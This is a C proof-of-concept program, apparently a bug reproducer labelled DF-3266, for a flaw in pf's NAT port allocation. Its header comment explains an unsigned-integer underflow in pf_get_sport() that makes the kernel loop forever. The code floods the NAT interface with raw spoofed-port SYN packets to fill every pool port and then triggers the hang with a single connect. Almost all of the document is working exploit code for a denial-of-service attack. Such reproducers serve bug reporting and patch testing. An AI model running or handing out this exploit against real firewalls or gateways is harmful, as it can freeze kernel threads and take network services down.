DF-3266 / fillsyn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | /* * DF-3266: fill every candidate port of a pf NAT pool whose range includes * port 0 ("port 0:65535"), then make one more connection. When all * candidate ports are occupied, pf_get_sport()'s downward search loop * * for (tmp = cut - 1; tmp >= low; --(tmp)) { ... } pf.c:3033-3050 * * with low==0 and u_int16_t tmp underflows at tmp==0 -> 0xffff, the * condition is always true, and (all ports busy) the loop never exits: * the connecting thread spins forever inside pf NAT translation. * * Filling is done by injecting raw TCP SYNs (IP_HDRINCL) with distinct * source ports 1..65535 through the NAT interface: each SYN makes pf * allocate one translated port from the pool for its 5-tuple. * * usage: fillsyn <dst-ip> <dst-port> [fill|trigger] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <sys/types.h> #include <sys/socket.h> struct pseudo { uint32_t src, dst; uint8_t zero, proto; uint16_t tcplen; }; static uint16_t cksum(const void *p, int len) { const uint16_t *w = p; uint32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const uint8_t *)w; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } static void send_syn(int s, in_addr_t src, in_addr_t dst, uint16_t sport, uint16_t dport) { unsigned char pkt[20 + 20]; struct { uint8_t ihl_ver, tos; uint16_t totlen, id, frag; uint8_t ttl, proto; uint16_t csum; uint32_t src, dst; } ip; struct { uint16_t sport, dport; uint32_t seq, ack; uint8_t off, flags; uint16_t win, csum, urp; } tcp; memset(&ip, 0, sizeof(ip)); ip.ihl_ver = 0x45; ip.totlen = htons(40); ip.ttl = 64; ip.proto = IPPROTO_TCP; ip.src = src; ip.dst = dst; memset(&tcp, 0, sizeof(tcp)); tcp.sport = htons(sport); tcp.dport = htons(dport); tcp.seq = arc4random(); tcp.off = 0x50; tcp.flags = 0x02; /* SYN */ tcp.win = htons(8192); memcpy(pkt, &ip, 20); memcpy(pkt + 20, &tcp, 20); /* correct TCP checksum so pf does not drop the injected SYNs (a bad csum gets EPERM back from ip_output under an enabled pf) */ { struct pseudo ph; unsigned char phdr[12 + 20]; memset(&ph, 0, sizeof(ph)); ph.src = src; ph.dst = dst; ph.zero = 0; ph.proto = IPPROTO_TCP; ph.tcplen = htons(20); memcpy(phdr, &ph, 12); memcpy(phdr + 12, pkt + 20, 20); ((uint16_t *)(pkt + 20))[8] = cksum(phdr, 32); } if (send(s, pkt, 40, 0) < 0) { if (errno != ENOBUFS) fprintf(stderr, "send sport %u: %s\n", sport, strerror(errno)); } } int main(int argc, char **argv) { in_addr_t dst; struct sockaddr_in sa; int s, sport, dport; if (argc < 4) { fprintf(stderr, "usage: fillsyn <dst-ip> <dst-port> <fill|trigger>\n"); return 2; } dport = atoi(argv[2]); dst = inet_addr(argv[1]); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket raw"); return 2; } int one = 1; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("IP_HDRINCL"); return 2; } memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = dst; if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 2; } in_addr_t src = sa.sin_addr.s_addr; /* any; kernel picks route src */ if (!strcmp(argv[3], "fill")) { fprintf(stderr, "injecting SYN for every source port 1..65535 -> " "%s:%d\n", argv[1], dport); for (sport = 1; sport <= 65535; sport++) send_syn(s, src, dst, sport, dport); /* one more: consumes translated port 0, saturating the pool */ send_syn(s, src, dst, 7777, dport); fprintf(stderr, "fill done\n"); return 0; } /* trigger: a plain TCP connect to the same destination */ { int fd; struct sockaddr_in tsa; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("tcp socket"); return 2; } memset(&tsa, 0, sizeof(tsa)); tsa.sin_family = AF_INET; tsa.sin_port = htons(dport); tsa.sin_addr.s_addr = dst; printf("connecting to %s:%d -- if all pool ports are busy this " "never returns (pf.c:3033 loop)\n", argv[1], dport); fflush(stdout); if (connect(fd, (struct sockaddr *)&tsa, sizeof(tsa)) < 0) printf("connect returned errno %d (%s)\n", errno, strerror(errno)); else printf("connect succeeded?!\n"); } return 0; } |